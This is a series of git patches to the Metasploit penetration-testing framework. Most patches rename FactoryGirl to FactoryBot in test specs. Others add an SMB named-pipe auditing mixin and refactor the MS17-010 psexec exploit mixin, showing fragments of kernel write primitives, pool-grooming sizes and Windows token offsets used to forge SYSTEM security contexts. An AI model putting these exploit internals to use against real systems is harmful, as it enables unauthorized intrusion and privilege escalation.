FactoryGirl.create(:automatic_exploitation_match_set, user: workspace.owner,workspace:workspace) + FactoryBot.create(:automatic_exploitation_match_set, user: workspace.owner,workspace:workspace) end let(:match) do - FactoryGirl.create(:automatic_exploitation_match, + FactoryBot.create(:automatic_exploitation_match, match_set_id: match_set.id, matchable_id:vuln_with_match.id, matchable_type: "Mdm::Vuln" @@ -247,19 +247,19 @@ RSpec.shared_examples_for 'Msf::DBManager::ExploitAttempt' do end let(:vuln_with_match) do - FactoryGirl.create(:mdm_vuln) + FactoryBot.create(:mdm_vuln) end let(:host) do - FactoryGirl.create(:mdm_host, workspace:workspace) + FactoryBot.create(:mdm_host, workspace:workspace) end let(:workspace) do - FactoryGirl.create(:mdm_workspace) + FactoryBot.create(:mdm_workspace) end let(:refs) do - [ FactoryGirl.create(:mdm_ref) ] + [ FactoryBot.create(:mdm_ref) ] end context "with a run" do @@ -357,7 +357,7 @@ RSpec.shared_examples_for 'Msf::DBManager::ExploitAttempt' do context "without a run" do let(:vuln) do - FactoryGirl.create(:mdm_vuln) + FactoryBot.create(:mdm_vuln) end let(:opts) do diff --git a/spec/support/shared/examples/msf/db_manager/import/metasploit_framework/xml.rb b/spec/support/shared/examples/msf/db_manager/import/metasploit_framework/xml.rb index ad5236f5f8..2630a03c63 100644 --- a/spec/support/shared/examples/msf/db_manager/import/metasploit_framework/xml.rb +++ b/spec/support/shared/examples/msf/db_manager/import/metasploit_framework/xml.rb @@ -35,7 +35,7 @@ RSpec.shared_examples_for 'Msf::DBManager::Import::MetasploitFramework::XML' do end let(:host_attributes) do - FactoryGirl.attributes_for(:mdm_host) + FactoryBot.attributes_for(:mdm_host) end let(:msf_web_text_element_names) do @@ -65,15 +65,15 @@ RSpec.shared_examples_for 'Msf::DBManager::Import::MetasploitFramework::XML' do end let(:service_attributes) do - FactoryGirl.attributes_for(:web_service) + FactoryBot.attributes_for(:web_service) end let(:web_form_attributes) do - FactoryGirl.attributes_for(:mdm_web_form, :exported) + FactoryBot.attributes_for(:mdm_web_form, :exported) end let(:web_page_attributes) do - FactoryGirl.attributes_for(:mdm_web_page) + FactoryBot.attributes_for(:mdm_web_page) end let(:workspace) do @@ -304,7 +304,7 @@ RSpec.shared_examples_for 'Msf::DBManager::Import::MetasploitFramework::XML' do end let(:web_vuln) do - FactoryGirl.create(:mdm_web_vuln) + FactoryBot.create(:mdm_web_vuln) end before(:example) do @@ -345,7 +345,7 @@ RSpec.shared_examples_for 'Msf::DBManager::Import::MetasploitFramework::XML' do context 'without :workspace' do let(:workspace) do - FactoryGirl.create(:mdm_workspace) + FactoryBot.create(:mdm_workspace) end before(:example) do @@ -831,7 +831,7 @@ RSpec.shared_examples_for 'Msf::DBManager::Import::MetasploitFramework::XML' do end let(:web_vuln_attributes) do - FactoryGirl.attributes_for(:exported_web_vuln) + FactoryBot.attributes_for(:exported_web_vuln) end subject(:import_msf_web_vuln_element) do @@ -1150,7 +1150,7 @@ RSpec.shared_examples_for 'Msf::DBManager::Import::MetasploitFramework::XML' do end let(:web_vuln) do - FactoryGirl.create(:mdm_web_vuln) + FactoryBot.create(:mdm_web_vuln) end it 'should call #import_msf_web_vuln_element' do diff --git a/spec/support/shared/examples/msf/db_manager/module_cache.rb b/spec/support/shared/examples/msf/db_manager/module_cache.rb index d1c44ad302..1125933fc0 100644 --- a/spec/support/shared/examples/msf/db_manager/module_cache.rb +++ b/spec/support/shared/examples/msf/db_manager/module_cache.rb @@ -20,7 +20,7 @@ RSpec.shared_examples_for 'Msf::DBManager::ModuleCache' do end let!(:module_details) do - FactoryGirl.create_list( + FactoryBot.create_list( :mdm_module_detail, module_detail_count ) @@ -83,15 +83,15 @@ RSpec.shared_examples_for 'Msf::DBManager::ModuleCache' do end let(:mtype) do - FactoryGirl.generate :mdm_module_detail_mtype + FactoryBot.generate :mdm_module_detail_mtype end let(:refname) do - FactoryGirl.generate :mdm_module_detail_refname + FactoryBot.generate :mdm_module_detail_refname end let!(:module_detail) do - FactoryGirl.create( + FactoryBot.create( :mdm_module_detail ) end @@ -106,7 +106,7 @@ RSpec.shared_examples_for 'Msf::DBManager::ModuleCache' do end let!(:module_detail) do - FactoryGirl.create(:mdm_module_detail) + FactoryBot.create(:mdm_module_detail) end context 'with matching Mdm::Module::Detail' do @@ -159,7 +159,7 @@ RSpec.shared_examples_for 'Msf::DBManager::ModuleCache' do before(:example) do Mdm::Module::Detail::STANCES.each do |stance| - FactoryGirl.create(:mdm_module_detail, :stance => stance) + FactoryBot.create(:mdm_module_detail, :stance => stance) end end @@ -203,7 +203,7 @@ RSpec.shared_examples_for 'Msf::DBManager::ModuleCache' do end let!(:module_authors) do - FactoryGirl.create_list(:mdm_module_author, 2) + FactoryBot.create_list(:mdm_module_author, 2) end let(:target_module_author) do @@ -258,7 +258,7 @@ RSpec.shared_examples_for 'Msf::DBManager::ModuleCache' do end let!(:existing_module_details) do - FactoryGirl.create_list(:mdm_module_detail, 2) + FactoryBot.create_list(:mdm_module_detail, 2) end let(:target_module_detail) do @@ -305,7 +305,7 @@ RSpec.shared_examples_for 'Msf::DBManager::ModuleCache' do context 'with ref keyword' do let(:ref) do - FactoryGirl.generate :mdm_module_ref_name + FactoryBot.generate :mdm_module_ref_name end let(:search_string) do @@ -314,7 +314,7 @@ RSpec.shared_examples_for 'Msf::DBManager::ModuleCache' do end let!(:module_ref) do - FactoryGirl.create(:mdm_module_ref) + FactoryBot.create(:mdm_module_ref) end context 'with Mdm::Module::Ref#name' do @@ -344,7 +344,7 @@ RSpec.shared_examples_for 'Msf::DBManager::ModuleCache' do context 'with type keyword' do let(:type) do - FactoryGirl.generate :mdm_module_detail_mtype + FactoryBot.generate :mdm_module_detail_mtype end let(:search_string) do @@ -356,7 +356,7 @@ RSpec.shared_examples_for 'Msf::DBManager::ModuleCache' do end let!(:all_module_details) do - FactoryGirl.create_list(:mdm_module_detail, 2) + FactoryBot.create_list(:mdm_module_detail, 2) end context 'with Mdm::Module::Ref#name' do @@ -389,7 +389,7 @@ RSpec.shared_examples_for 'Msf::DBManager::ModuleCache' do end let!(:module_action) do - FactoryGirl.create(:mdm_module_action) + FactoryBot.create(:mdm_module_action) end it 'should match Mdm::Module::Action#name' do @@ -411,7 +411,7 @@ RSpec.shared_examples_for 'Msf::DBManager::ModuleCache' do end let!(:module_arch) do - FactoryGirl.create(:mdm_module_arch) + FactoryBot.create(:mdm_module_arch) end it 'should match Mdm::Module::Arch#name' do @@ -433,7 +433,7 @@ RSpec.shared_examples_for 'Msf::DBManager::ModuleCache' do end let!(:module_author) do - FactoryGirl.create(:mdm_module_author) + FactoryBot.create(:mdm_module_author) end it 'should match Mdm::Module::Author#name' do @@ -455,7 +455,7 @@ RSpec.shared_examples_for 'Msf::DBManager::ModuleCache' do end let!(:all_module_details) do - FactoryGirl.create_list(:mdm_module_detail, 3) + FactoryBot.create_list(:mdm_module_detail, 3) end context 'with #description' do @@ -515,7 +515,7 @@ RSpec.shared_examples_for 'Msf::DBManager::ModuleCache' do end let!(:module_platform) do - FactoryGirl.create(:mdm_module_platform) + FactoryBot.create(:mdm_module_platform) end it 'should match Mdm::Module::Platform#name' do @@ -537,7 +537,7 @@ RSpec.shared_examples_for 'Msf::DBManager::ModuleCache' do end let!(:module_ref) do - FactoryGirl.create(:mdm_module_ref) + FactoryBot.create(:mdm_module_ref) end it 'should match Mdm::Module::Ref#name' do @@ -559,7 +559,7 @@ RSpec.shared_examples_for 'Msf::DBManager::ModuleCache' do end let!(:module_target) do - FactoryGirl.create(:mdm_module_target) + FactoryBot.create(:mdm_module_target) end it 'should match Mdm::Module::Target#name' do @@ -663,7 +663,7 @@ RSpec.shared_examples_for 'Msf::DBManager::ModuleCache' do let!(:module_detail) do # needs to reference a real module so that it can be loaded - FactoryGirl.create( + FactoryBot.create( :mdm_module_detail, :file => module_pathname.to_path, :mtime => modification_time, @@ -836,15 +836,15 @@ RSpec.shared_examples_for 'Msf::DBManager::ModuleCache' do end let(:privileged) do - FactoryGirl.generate :mdm_module_detail_privileged + FactoryBot.generate :mdm_module_detail_privileged end let(:rank) do - FactoryGirl.generate :mdm_module_detail_rank + FactoryBot.generate :mdm_module_detail_rank end let(:stance) do - FactoryGirl.generate :mdm_module_detail_stance + FactoryBot.generate :mdm_module_detail_stance end before(:example) do @@ -885,7 +885,7 @@ RSpec.shared_examples_for 'Msf::DBManager::ModuleCache' do context 'with :action' do let(:name) do - FactoryGirl.generate :mdm_module_action_name + FactoryBot.generate :mdm_module_action_name end let(:bits) do @@ -922,7 +922,7 @@ RSpec.shared_examples_for 'Msf::DBManager::ModuleCache' do context 'with :arch' do let(:name) do - FactoryGirl.generate :mdm_module_arch_name + FactoryBot.generate :mdm_module_arch_name end let(:bits) do @@ -959,11 +959,11 @@ RSpec.shared_examples_for 'Msf::DBManager::ModuleCache' do context 'with :author' do let(:email) do - FactoryGirl.generate :mdm_module_author_email + FactoryBot.generate :mdm_module_author_email end let(:name) do - FactoryGirl.generate :mdm_module_author_name + FactoryBot.generate :mdm_module_author_name end let(:bits) do @@ -1011,7 +1011,7 @@ RSpec.shared_examples_for 'Msf::DBManager::ModuleCache' do end let(:name) do - FactoryGirl.generate :mdm_module_platform_name + FactoryBot.generate :mdm_module_platform_name end it 'should create an Mdm::Module::Platform' do @@ -1048,7 +1048,7 @@ RSpec.shared_examples_for 'Msf::DBManager::ModuleCache' do end let(:name) do - FactoryGirl.generate :mdm_module_ref_name + FactoryBot.generate :mdm_module_ref_name end it 'should create an Mdm::Module::Ref' do @@ -1086,11 +1086,11 @@ RSpec.shared_examples_for 'Msf::DBManager::ModuleCache' do end let(:index) do - FactoryGirl.generate :mdm_module_target_index + FactoryBot.generate :mdm_module_target_index end let(:name) do - FactoryGirl.generate :mdm_module_target_name + FactoryBot.generate :mdm_module_target_name end it 'should create an Mdm::Module::Target' do diff --git a/spec/support/shared/examples/msf/db_manager/search_modules/mdm_module_platform_name_or_mdm_module_target_name_keyword.rb b/spec/support/shared/examples/msf/db_manager/search_modules/mdm_module_platform_name_or_mdm_module_target_name_keyword.rb index 0abf9541ec..bfc4a0603f 100644 --- a/spec/support/shared/examples/msf/db_manager/search_modules/mdm_module_platform_name_or_mdm_module_target_name_keyword.rb +++ b/spec/support/shared/examples/msf/db_manager/search_modules/mdm_module_platform_name_or_mdm_module_target_name_keyword.rb @@ -5,11 +5,11 @@ RSpec.shared_examples_for 'Msf::DBManager#search_modules Mdm::Module::Platform#n end let!(:module_platform) do - FactoryGirl.create(:mdm_module_platform) + FactoryBot.create(:mdm_module_platform) end let!(:module_target) do - FactoryGirl.create(:mdm_module_target) + FactoryBot.create(:mdm_module_target) end context 'with Mdm::Module::Platform#name' do diff --git a/spec/support/shared/examples/msf/db_manager/search_modules/mdm_module_ref_name_keyword.rb b/spec/support/shared/examples/msf/db_manager/search_modules/mdm_module_ref_name_keyword.rb index 00e708befe..ff2cd55e96 100644 --- a/spec/support/shared/examples/msf/db_manager/search_modules/mdm_module_ref_name_keyword.rb +++ b/spec/support/shared/examples/msf/db_manager/search_modules/mdm_module_ref_name_keyword.rb @@ -5,7 +5,7 @@ RSpec.shared_examples_for 'Msf::DBManager#search_modules Mdm::Module::Ref#name k end let(:name) do - FactoryGirl.generate :mdm_module_ref_name + FactoryBot.generate :mdm_module_ref_name end let(:search_string) do @@ -13,7 +13,7 @@ RSpec.shared_examples_for 'Msf::DBManager#search_modules Mdm::Module::Ref#name k end before(:example) do - FactoryGirl.create(:mdm_module_ref, :name => name) + FactoryBot.create(:mdm_module_ref, :name => name) end name_prefix = "#{keyword.to_s.upcase}-" diff --git a/spec/support/shared/examples/msf/db_manager/session.rb b/spec/support/shared/examples/msf/db_manager/session.rb index dab5c51caa..f9efd15dd9 100644 --- a/spec/support/shared/examples/msf/db_manager/session.rb +++ b/spec/support/shared/examples/msf/db_manager/session.rb @@ -33,7 +33,7 @@ RSpec.shared_examples_for 'Msf::DBManager::Session' do end let(:host) do - FactoryGirl.create(:mdm_host, :workspace => session_workspace) + FactoryBot.create(:mdm_host, :workspace => session_workspace) end let(:module_instance) do @@ -50,7 +50,7 @@ RSpec.shared_examples_for 'Msf::DBManager::Session' do end let(:options_workspace) do - FactoryGirl.create(:mdm_workspace) + FactoryBot.create(:mdm_workspace) end let(:parent_module_fullname) do @@ -95,7 +95,7 @@ RSpec.shared_examples_for 'Msf::DBManager::Session' do end let(:session_workspace) do - FactoryGirl.create(:mdm_workspace) + FactoryBot.create(:mdm_workspace) end before(:example) do @@ -115,7 +115,7 @@ RSpec.shared_examples_for 'Msf::DBManager::Session' do } ) - FactoryGirl.create( + FactoryBot.create( :mdm_module_detail, :fullname => parent_module_fullname, :name => parent_module_name @@ -128,11 +128,11 @@ RSpec.shared_examples_for 'Msf::DBManager::Session' do end let(:match_set) do - FactoryGirl.create(:automatic_exploitation_match_set, user: session_workspace.owner,workspace:session_workspace) + FactoryBot.create(:automatic_exploitation_match_set, user: session_workspace.owner,workspace:session_workspace) end let(:run) do - FactoryGirl.create(:automatic_exploitation_run, workspace: session_workspace, match_set_id: match_set.id) + FactoryBot.create(:automatic_exploitation_run, workspace: session_workspace, match_set_id: match_set.id) end let(:user_data) do @@ -189,7 +189,7 @@ RSpec.shared_examples_for 'Msf::DBManager::Session' do context 'with session responds to arch' do let(:arch) do - FactoryGirl.generate :mdm_host_arch + FactoryBot.generate :mdm_host_arch end before(:example) do @@ -320,7 +320,7 @@ RSpec.shared_examples_for 'Msf::DBManager::Session' do end let(:service) do - FactoryGirl.create( + FactoryBot.create( :mdm_service, :host => host ) @@ -532,7 +532,7 @@ RSpec.shared_examples_for 'Msf::DBManager::Session' do context 'with session responds to arch' do let(:arch) do - FactoryGirl.generate :mdm_host_arch + FactoryBot.generate :mdm_host_arch end before(:example) do @@ -663,7 +663,7 @@ RSpec.shared_examples_for 'Msf::DBManager::Session' do end let(:service) do - FactoryGirl.create( + FactoryBot.create( :mdm_service, :host => host ) @@ -846,7 +846,7 @@ RSpec.shared_examples_for 'Msf::DBManager::Session' do context 'with Mdm::Host' do let(:host) do - FactoryGirl.create(:mdm_host) + FactoryBot.create(:mdm_host) end context 'created Mdm::Session' do @@ -951,7 +951,7 @@ RSpec.shared_examples_for 'Msf::DBManager::Session' do context 'with :routes' do let(:routes) do - FactoryGirl.build_list( + FactoryBot.build_list( :mdm_route, 1, :session => nil diff --git a/spec/support/shared/examples/msf/module_manager/cache.rb b/spec/support/shared/examples/msf/module_manager/cache.rb index ab293818bd..d5dbafba06 100644 --- a/spec/support/shared/examples/msf/module_manager/cache.rb +++ b/spec/support/shared/examples/msf/module_manager/cache.rb @@ -311,7 +311,7 @@ RSpec.shared_examples_for 'Msf::ModuleManager::Cache' do # let!(:mdm_module_detail) do - FactoryGirl.create(:mdm_module_detail, + FactoryBot.create(:mdm_module_detail, :file => path, :mtype => type, :mtime => pathname.mtime, From d1921737923a44092bf0f603ca31213220bf00a8 Mon Sep 17 00:00:00 2001 From: Daniel Teixeira Date: Thu, 22 Mar 2018 11:57:54 +0000 Subject: [PATCH 069/105] Vulnerable application link update --- documentation/modules/exploit/windows/browser/exodus.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/documentation/modules/exploit/windows/browser/exodus.md b/documentation/modules/exploit/windows/browser/exodus.md index 9e3b60bbad..4ee47bedb5 100644 --- a/documentation/modules/exploit/windows/browser/exodus.md +++ b/documentation/modules/exploit/windows/browser/exodus.md @@ -1,5 +1,5 @@ ## Description -This module exploits an Electron remote code execution vulnerability in Exodus wallet. Using the Electron remote code execution vulnerability in protocol handler is possible to inject command line arguments via URI handler. This module has been tested successfully on Windows 10 Enterprise x64. The vulnerable application is available for download at [Exodus v1.38.0](https://exodusbin.azureedge.net/releases/exodus-windows-x64-1.38.0.exe). +This module exploits an Electron remote code execution vulnerability in Exodus wallet. Using the Electron remote code execution vulnerability in protocol handler is possible to inject command line arguments via URI handler. This module has been tested successfully on Windows 10 Enterprise x64. The vulnerable application is available for download at [Exodus v1.38.0](https://github.com/DanielRTeixeira/Exodus/raw/master/exodus-windows-x64-1.38.0.exe). ## Verification Steps 1. Install Exodus Wallet version `v1.38.0` From 558ecbcb4993776d1dfe6541167912de7eca4209 Mon Sep 17 00:00:00 2001 From: William Vu Date: Thu, 22 Mar 2018 06:38:34 -0500 Subject: [PATCH 070/105] Add PipeAuditor mixin --- lib/msf/core/exploit/mixins.rb | 2 +- .../core/exploit/smb/client/pipe_auditor.rb | 61 +++++++++++++++++++ lib/msf/core/exploit/smb/client/pipeaudit.rb | 38 ------------ 3 files changed, 62 insertions(+), 39 deletions(-) create mode 100644 lib/msf/core/exploit/smb/client/pipe_auditor.rb delete mode 100644 lib/msf/core/exploit/smb/client/pipeaudit.rb diff --git a/lib/msf/core/exploit/mixins.rb b/lib/msf/core/exploit/mixins.rb index 097d0b0d27..e5182b5413 100644 --- a/lib/msf/core/exploit/mixins.rb +++ b/lib/msf/core/exploit/mixins.rb @@ -32,9 +32,9 @@ require 'msf/core/exploit/smb/client' require 'msf/core/exploit/smb/client/authenticated' require 'msf/core/exploit/smb/client/local_paths' require 'msf/core/exploit/smb/client/psexec' +require 'msf/core/exploit/smb/client/pipe_auditor' require 'msf/core/exploit/smb/client/psexec_ms17_010' require 'msf/core/exploit/smb/client/remote_paths' -require 'msf/core/exploit/smb/client/pipeaudit' require 'msf/core/exploit/smb/server' require 'msf/core/exploit/smb/server/share' require 'msf/core/exploit/ftp' diff --git a/lib/msf/core/exploit/smb/client/pipe_auditor.rb b/lib/msf/core/exploit/smb/client/pipe_auditor.rb new file mode 100644 index 0000000000..2ee15e3023 --- /dev/null +++ b/lib/msf/core/exploit/smb/client/pipe_auditor.rb @@ -0,0 +1,61 @@ +# -*- coding: binary -*- + +# +# This mixin implements the pipe_auditor module's primary functionality +# + +module Msf +module Exploit::Remote::SMB::Client::PipeAuditor + + include Msf::Exploit::Remote::SMB::Client + + def initialize(info = {}) + super + + named_pipes = File.join(Msf::Config.data_directory, 'wordlists', 'named_pipes.txt') + + register_options([ + OptPath.new('NAMED_PIPES', [true, 'List of named pipes to check', named_pipes]) + ]) + end + + # Check named pipes, returning the first optionally + # + # @param check_first [Array] Check the specified pipes first + # @param return_first [Boolean] Return the first pipe name and handle + # @return [Array] The list of found pipes (name and handle) + def check_named_pipes(check_first: [], return_first: false) + @found_pipes = [] + + if check_first.is_a?(Array) + check_first.delete_if { |pipe| pipe.blank? } + elsif check_first.is_a?(String) && check_first.present? + check_first = [check_first] + else + check_first = [] + end + + named_pipes = check_first + File.readlines(datastore['NAMED_PIPES']) + + named_pipes.each do |pipe| + begin + pipe_name = pipe.strip + pipe_handle = self.simple.create_pipe(pipe_name, 'o') + + # If we make it this far, it succeeded + vprint_status("Connected to named pipe: #{pipe_name}") + + # This is for exploits like ms17_010_psexec + return pipe_name, pipe_handle if return_first + + @found_pipes << [pipe_name, pipe_handle] + rescue Rex::Proto::SMB::Exceptions::ErrorCode => e + vprint_error("Inaccessible named pipe: #{pipe_name} - #{e.message}") + end + end + + @found_pipes + end + +end +end diff --git a/lib/msf/core/exploit/smb/client/pipeaudit.rb b/lib/msf/core/exploit/smb/client/pipeaudit.rb deleted file mode 100644 index 687373b729..0000000000 --- a/lib/msf/core/exploit/smb/client/pipeaudit.rb +++ /dev/null @@ -1,38 +0,0 @@ -module Msf - -module Exploit::Remote::SMB::Client::PipeAudit - include Msf::Exploit::Remote::SMB::Client - - def initialize(info = {}) - super - register_options( - [ - OptPath.new('NAMED_PIPES_FILE', [ true, "List of known named pipes", - File.join(Msf::Config.data_directory, "wordlists", "named_pipes.txt")]), - ]) - end - - def connect_to_pipe() - accessible_pipes||=[] - pipe_handles||=[] - pipe_file = datastore['NAMED_PIPES_FILE'] - if (!pipe_file) - print_error("File with named pipes is needed") - end - p_file = File.open(pipe_file).read - p_file.each_line do |pipe| - begin - pipe_name = "#{pipe.to_s.split("\n")[0]}" - vprint_status("Using pipe #{pipe_name}") - pipe_handle = self.simple.create_pipe(pipe_name, 'o') - vprint_good("Accessible pipe found: #{pipe_name}") - accessible_pipes << pipe_name - pipe_handles << pipe_handle - rescue Rex::Proto::SMB::Exceptions::ErrorCode => e - end - end - return accessible_pipes, pipe_handles - end -end -end - From 23a7444646f1829eb6aa9c2b25bd00c9551aa90d Mon Sep 17 00:00:00 2001 From: William Vu Date: Thu, 22 Mar 2018 06:39:25 -0500 Subject: [PATCH 071/105] Add PipeAuditor mixin to Psexec_MS17_010 mixin --- .../exploit/smb/client/psexec_ms17_010.rb | 443 ++++++++---------- 1 file changed, 204 insertions(+), 239 deletions(-) diff --git a/lib/msf/core/exploit/smb/client/psexec_ms17_010.rb b/lib/msf/core/exploit/smb/client/psexec_ms17_010.rb index 87c00aec38..a5454fe5af 100644 --- a/lib/msf/core/exploit/smb/client/psexec_ms17_010.rb +++ b/lib/msf/core/exploit/smb/client/psexec_ms17_010.rb @@ -1,10 +1,8 @@ -require 'msf/core/exploit/smb/client/pipeaudit' module Msf - module Exploit::Remote::SMB::Client::Psexec_MS17_010 include Msf::Exploit::Remote::SMB::Client::Psexec - include Msf::Exploit::Remote::SMB::Client::PipeAudit + include Msf::Exploit::Remote::SMB::Client::PipeAuditor include Msf::Exploit::Remote::Tcp def initialize(info = {}) @@ -233,7 +231,6 @@ module Exploit::Remote::SMB::Client::Psexec_MS17_010 return userAndGroupsAddr, userAndGroupCount end - def write_what_where(what, where) if where == 0 raise MS17_010_Error, 'Attempted to write to a NULL pointer!' @@ -333,11 +330,17 @@ module Exploit::Remote::SMB::Client::Psexec_MS17_010 end end - def find_accessible_named_pipe() - pipe_name, pipe_handle = connect_to_pipe() - @ctx['pipe_name'] = pipe_name[0] - return pipe_handle[0] + def find_accessible_named_pipe + @ctx['pipe_name'], pipe_handle = check_named_pipes( + check_first: datastore['NAMEDPIPE'], + return_first: true + ) + if @ctx['pipe_name'] && pipe_handle + pipe_handle + else + raise MS17_010_Error, 'Unable to find accessible named pipe!' + end end # todo: spice it up with EternalSynergy output @@ -355,7 +358,6 @@ module Exploit::Remote::SMB::Client::Psexec_MS17_010 # groom: srv buffer header @ctx['GROOM_POOL_SIZE'] = calc_alloc_size(GROOM_TRANS_SIZE + @ctx['SRV_BUFHDR_SIZE'] + @ctx['POOL_ALIGN'], @ctx['POOL_ALIGN']) - # groom paramters and data is alignment by 8 because it is NT_TRANS @ctx['GROOM_DATA_SIZE'] = GROOM_TRANS_SIZE - TRANS_NAME_LEN - 4 - @ctx['TRANS_SIZE'] # alignment (4) @@ -363,7 +365,6 @@ module Exploit::Remote::SMB::Client::Psexec_MS17_010 bridePoolSize = 0x1000 - (@ctx['GROOM_POOL_SIZE'] & 0xfff) - @ctx['FRAG_POOL_SIZE'] @ctx['BRIDE_TRANS_SIZE'] = bridePoolSize - (@ctx['SRV_BUFHDR_SIZE'] + @ctx['POOL_ALIGN']) - if datastore['DBGTRACE'] print_status("GROOM_POOL_SIZE: 0x#{@ctx['GROOM_POOL_SIZE'].to_s(16)}") print_status("BRIDE_TRANS_SIZE: 0x#{@ctx['BRIDE_TRANS_SIZE'].to_s(16)}") @@ -378,7 +379,6 @@ module Exploit::Remote::SMB::Client::Psexec_MS17_010 for i in 0..datastore['LEAKATTEMPTS'] reset_extra_multiplex_id() - vprint_status("Attempting leak ##{i.to_s}") leakInfo = align_transaction_and_leak(pipe_handle) @@ -403,7 +403,6 @@ module Exploit::Remote::SMB::Client::Psexec_MS17_010 pipe_handle = self.simple.create_pipe(@ctx['pipe_name'], 'o') end - @ctx['fid'] = pipe_handle.file_id @ctx['pipe_handle'] = pipe_handle @ctx = @ctx.merge(leakInfo) @@ -686,7 +685,6 @@ module Exploit::Remote::SMB::Client::Psexec_MS17_010 end - if not success print_status("<---------------- | Leaving Danger Zone | ---------------->") raise MS17_010_Error, "Unable to control groom transaction" @@ -810,7 +808,6 @@ module Exploit::Remote::SMB::Client::Psexec_MS17_010 @ctx['trans2_addr'] = trans2_addr end - def create_fake_SYSTEM_UserAndGroups(userAndGroupCount, userAndGroupsAddr) xSID_SYSTEM = "\x01\x01\x00\x00\x00\x00\x00\x05\x12\x00\x00\x00" # pack(' 0xa0, + 'SESSION_ISNULL_OFFSET'=> 0xba, + 'FAKE_SECCTX'=> [0x28022a, 1, 0, 0, 2, 0, 1].pack("VVQ 0x28, + } - # we will iter these if one is not specified - @@target_pipes = [ - 'netlogon', - 'lsarpc', - 'samr', - 'browser', - 'atsvc', - 'DAV RPC SERVICE', - 'epmapper', - 'eventlog', - 'InitShutdown', - 'keysvc', - 'lsass', - 'LSM_API_service', - 'ntsvcs', - 'plugplay', - 'protected_storage', - 'router', - 'SapiServerPipeS-1-5-5-0-70123', - 'scerpc', - 'srvsvc', - 'tapsrv', - 'trkwks', - 'W32TIME_ALT', - 'wkssvc', - 'PIPE_EVENTROOT\CIMV2SCM EVENT PROVIDER', - 'db2remotecmd' - ] + WIN7_32_SESSION_INFO = { + 'SESSION_SECCTX_OFFSET'=> 0x80, + 'SESSION_ISNULL_OFFSET'=> 0x96, + 'FAKE_SECCTX'=> [0x1c022a, 1, 0, 0, 2, 0, 1].pack("VVVVVVC"), #pack(' 0x1c, + } - WIN7_64_SESSION_INFO = { - 'SESSION_SECCTX_OFFSET'=> 0xa0, - 'SESSION_ISNULL_OFFSET'=> 0xba, - 'FAKE_SECCTX'=> [0x28022a, 1, 0, 0, 2, 0, 1].pack("VVQ 0x28, - } + # win8+ info + WIN8_64_SESSION_INFO = { + 'SESSION_SECCTX_OFFSET'=> 0xb0, + 'SESSION_ISNULL_OFFSET'=> 0xca, + 'FAKE_SECCTX'=> [0x38022a, 1, 0, 0, 0, 0, 2, 0, 1].pack("VVQ 0x38, + } - WIN7_32_SESSION_INFO = { - 'SESSION_SECCTX_OFFSET'=> 0x80, - 'SESSION_ISNULL_OFFSET'=> 0x96, - 'FAKE_SECCTX'=> [0x1c022a, 1, 0, 0, 2, 0, 1].pack("VVVVVVC"), #pack(' 0x1c, - } + WIN8_32_SESSION_INFO = { + 'SESSION_SECCTX_OFFSET'=> 0x88, + 'SESSION_ISNULL_OFFSET'=> 0x9e, + 'FAKE_SECCTX'=> [0x24022a, 1, 0, 0, 0, 0, 2, 0, 1].pack("VVVVVVVVC"), # pack(' 0x24, + } - # win8+ info - WIN8_64_SESSION_INFO = { - 'SESSION_SECCTX_OFFSET'=> 0xb0, - 'SESSION_ISNULL_OFFSET'=> 0xca, - 'FAKE_SECCTX'=> [0x38022a, 1, 0, 0, 0, 0, 2, 0, 1].pack("VVQ 0x38, - } + # win 2003 (xp 64 bit is win 2003) + WIN2K3_64_SESSION_INFO = { + 'SESSION_ISNULL_OFFSET'=> 0xba, + 'SESSION_SECCTX_OFFSET'=> 0xa0, # Win2k3 has another struct to keep PCtxtHandle (similar to 2008+) + 'SECCTX_PCTXTHANDLE_OFFSET'=> 0x10, # PCtxtHandle is at offset 0x8 but only upperPart is needed + 'PCTXTHANDLE_TOKEN_OFFSET'=> 0x40, + 'TOKEN_USER_GROUP_CNT_OFFSET'=> 0x4c, + 'TOKEN_USER_GROUP_ADDR_OFFSET'=> 0x68, + } - WIN8_32_SESSION_INFO = { - 'SESSION_SECCTX_OFFSET'=> 0x88, - 'SESSION_ISNULL_OFFSET'=> 0x9e, - 'FAKE_SECCTX'=> [0x24022a, 1, 0, 0, 0, 0, 2, 0, 1].pack("VVVVVVVVC"), # pack(' 0x24, - } + WIN2K3_32_SESSION_INFO = { + 'SESSION_ISNULL_OFFSET'=> 0x96, + 'SESSION_SECCTX_OFFSET'=> 0x80, # Win2k3 has another struct to keep PCtxtHandle (similar to 2008+) + 'SECCTX_PCTXTHANDLE_OFFSET'=> 0xc, # PCtxtHandle is at offset 0x8 but only upperPart is needed + 'PCTXTHANDLE_TOKEN_OFFSET'=> 0x24, + 'TOKEN_USER_GROUP_CNT_OFFSET'=> 0x4c, + 'TOKEN_USER_GROUP_ADDR_OFFSET'=> 0x68, + } - # win 2003 (xp 64 bit is win 2003) - WIN2K3_64_SESSION_INFO = { - 'SESSION_ISNULL_OFFSET'=> 0xba, - 'SESSION_SECCTX_OFFSET'=> 0xa0, # Win2k3 has another struct to keep PCtxtHandle (similar to 2008+) - 'SECCTX_PCTXTHANDLE_OFFSET'=> 0x10, # PCtxtHandle is at offset 0x8 but only upperPart is needed - 'PCTXTHANDLE_TOKEN_OFFSET'=> 0x40, - 'TOKEN_USER_GROUP_CNT_OFFSET'=> 0x4c, - 'TOKEN_USER_GROUP_ADDR_OFFSET'=> 0x68, - } + # win xp + WINXP_32_SESSION_INFO = { + 'SESSION_ISNULL_OFFSET'=> 0x94, + 'SESSION_SECCTX_OFFSET'=> 0x84, # PCtxtHandle is at offset 0x80 but only upperPart is needed + 'PCTXTHANDLE_TOKEN_OFFSET'=> 0x24, + 'TOKEN_USER_GROUP_CNT_OFFSET'=> 0x4c, + 'TOKEN_USER_GROUP_ADDR_OFFSET'=> 0x68, + 'TOKEN_USER_GROUP_CNT_OFFSET_SP0_SP1'=> 0x40, + 'TOKEN_USER_GROUP_ADDR_OFFSET_SP0_SP1'=> 0x5c, + } - WIN2K3_32_SESSION_INFO = { - 'SESSION_ISNULL_OFFSET'=> 0x96, - 'SESSION_SECCTX_OFFSET'=> 0x80, # Win2k3 has another struct to keep PCtxtHandle (similar to 2008+) - 'SECCTX_PCTXTHANDLE_OFFSET'=> 0xc, # PCtxtHandle is at offset 0x8 but only upperPart is needed - 'PCTXTHANDLE_TOKEN_OFFSET'=> 0x24, - 'TOKEN_USER_GROUP_CNT_OFFSET'=> 0x4c, - 'TOKEN_USER_GROUP_ADDR_OFFSET'=> 0x68, - } + 